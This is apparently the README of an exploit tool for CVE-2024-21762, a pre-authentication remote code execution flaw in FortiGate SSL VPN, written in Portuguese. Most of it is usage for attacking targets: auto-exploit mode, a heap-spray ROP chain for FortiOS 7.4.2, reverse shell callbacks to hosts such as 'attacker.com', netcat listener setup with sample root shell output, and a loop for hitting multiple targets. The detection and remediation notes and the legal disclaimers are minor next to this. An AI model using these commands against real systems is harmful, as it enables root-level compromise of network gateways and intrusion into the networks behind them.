
Detecta e explora o CVE-2024-21762 RCE pré-autenticação no FortiGate SSL VPN, apresentando validação de linha de base, exploração automática, modo heap-spray ROP e reverse shell.
Ferramenta de detecção e exploração para CVE-2024-21762 - Vulnerabilidade crítica em FortiGate SSL VPN
⚠️ AVISO LEGAL: Esta ferramenta é exclusivamente para uso em ambientes de teste autorizados. O uso não autorizado em sistemas é ILEGAL e pode resultar em sérias consequências legais.
CVE-2024-21762 é uma vulnerabilidade crítica em componentes FortiGate SSL VPN que permite Remote Code Execution (RCE) pré-autenticação. A falha existe em um parsing vulnerável de requisições HTTP com Transfer-Encoding chunked, resultando em out-of-bounds write no componente sslvpnd.
| Atributo | Informação |
|---|---|
| CVE ID | CVE-2024-21762 |
| Vulnerabilidade | Out-of-bounds write em sslvpnd |
| Tipo | Remote Code Execution (RCE) Pré-Autenticação |
| CVSS Score | 9.8 (Critical) |
| Componente Afetado | FortiOS SSL VPN |
| Versões Vulneráveis | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ Detecção de Vulnerabilidade - Identifica FortiGate vulneráveis através de requisições malformadas
✅ Teste de Baseline - Verifica comportamento normal do servidor antes dos testes
✅ Modo Automático - Detecta vulnerabilidade e explora automaticamente
✅ Reverse Shell - Suporta reverse shell bash com configuração de IP/porta
✅ Validação de Entrada - Valida IPs e portas antes da exploração
✅ Relatórios Detalhados - Gera relatórios com recomendações de remediação
✅ Tratamento Robusto de Erros - Gerenciamento seguro de conexões e exceções
# Clone o repositório
git clone https://github.com/seu-usuario/CVE-2024-21762.git
cd CVE-2024-21762
# Verifique a sintaxe
python -m py_compile EXPLOIT.py
# Execute o script
python EXPLOIT.py -h
# Teste simples de detecção
python EXPLOIT.py 192.168.1.100
# Com porta customizada
python EXPLOIT.py 192.168.1.100 -p 8443
# Com timeout aumentado
python EXPLOIT.py 192.168.1.100 --timeout 20
# Modo automático com reverse shell pré-configurado
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# Modo automático sem credenciais (pede interativamente)
python EXPLOIT.py 192.168.1.100 --auto
O modo ROP implementa uma exploração de dois estágios com heap spray para alvos específicos (FortiOS 7.4.2):
# Exploração ROP com reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# Com porta customizada
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# Com timeout aumentado para alvos lentos
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
Fluxo de Exploração ROP:
No seu servidor de escuta:
# Linux/Mac/Windows com netcat
nc -lnvp 4242
# Saída esperada:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ Nota Importante: O modo ROP é otimizado para FortiOS 7.4.2.F-build2571. Outras versões podem não funcionar devido aos offsets hardcoded do ROP chain.
# Enviar payload de reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# Combinação de múltiplas opções
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target Target hostname ou IP a ser testado
optional arguments:
-h, --help Mostra esta mensagem de ajuda
-t, --target HOSTNAME Target hostname ou IP (alternativo)
-p, --port PORT Porta SSL VPN (padrão: 443)
--timeout SECONDS Timeout em segundos (padrão: 10)
-li, --lhost IP IP local para receber reverse shell
-lp, --lport PORT Porta local para receber reverse shell
--no-baseline Pula teste de baseline
--auto Modo automático: detecta e explora
--rop Modo ROP: exploração avançada com heap spray (FortiOS 7.4.2)
-v, --version Mostra versão do script
python EXPLOIT.py 192.168.1.100
Resultado esperado em caso de vulnerabilidade:
[+] Iniciando teste de vulnerabilidade...
[!] VULNERÁVEL DETECTADO!
[!] Servidor encerrou conexão abruptamente
[!] STATUS: VULNERÁVEL
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
No seu servidor:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
A ferramenta considera um alvo vulnerável quando detecta um dos seguintes comportamentos:
| Versão | Detecção | ROP Mode | Status |
|---|---|---|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ Sim | ❌ Não | ⚠️ VULNERÁVEL |
| FortiOS 7.2.0 - 7.2.6 | ✅ Sim | ❌ Não | ⚠️ VULNERÁVEL |
| FortiOS 7.4.0 - 7.4.1 | ✅ Sim | ❌ Não | ⚠️ VULNERÁVEL |
| FortiOS 7.4.2 (build≤2571) | ✅ Sim | ✅ Sim | ⚠️ VULNERÁVEL |
| FortiOS 7.4.3+ | ❌ Não | ❌ Não | ✅ CORRIGIDO |
Atualizar FortiOS para versão corrigida:
Isolação Temporária
Monitoramento
# Verificar versão do FortiOS
python EXPLOIT.py seu-fortinet.com
Se o resultado mostrar "NÃO VULNERÁVEL", o patch foi aplicado com sucesso.
CVE-2024-21762/
├── EXPLOIT.py # Script principal de exploração
├── README.md # Este arquivo
├── LICENSE # Licença MIT
└── .gitignore # Configuração Git
| Método | Descrição |
|---|---|
test_vulnerability() | Testa a vulnerabilidade enviando requisição malformada |
exploit(lhost, lport) | Explora a vulnerabilidade com reverse shell |
test_baseline() | Testa comportamento normal do servidor |
generate_report() | Gera relatório final com status |
_create_ssl_context() | Cria contexto SSL reutilizável |
_create_socket_connection() | Cria conexão TLS segura |
_close_socket(sock) | Fecha socket de forma segura |
_is_valid_ip(ip_str) | Valida formato de IP |
A ferramenta implementa:
P: É possível usar em ambiente Windows?
R: Sim, o script Python funciona em Windows, porém a reverse shell bash padrão não funcionará. Você precisaria de payload customizado.
P: Como saber se exploração foi bem-sucedida?
R: Verifique a máquina listening pela reverse shell (nc/ncat). O script mostrará mensagens indicando progresso.
P: Posso usar contra múltiplos alvos?
R: Sim, você pode criar um script em bash/PowerShell para iterar sobre lista de IPs.
P: Qual é a diferença entre modo normal e automático?
R: Modo automático explora automaticamente se vulnerabilidade for encontrada. Modo normal apenas detecta.
Encontrou um bug ou tem sugestões? Abra uma issue ou faça um pull request!
Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.
Este software é fornecido "como está" para fins de pesquisa e teste autorizado. Os autores não são responsáveis por:
USE RESPONSAVELMENTE E APENAS EM AMBIENTES AUTORIZADOS
Desenvolvido para fins educacionais e de pesquisa em segurança cibernética.
⚠️ Lembre-se: Use esta ferramenta apenas em sistemas que você possui ou tem autorização explícita para testar. A exploração não autorizada é crime.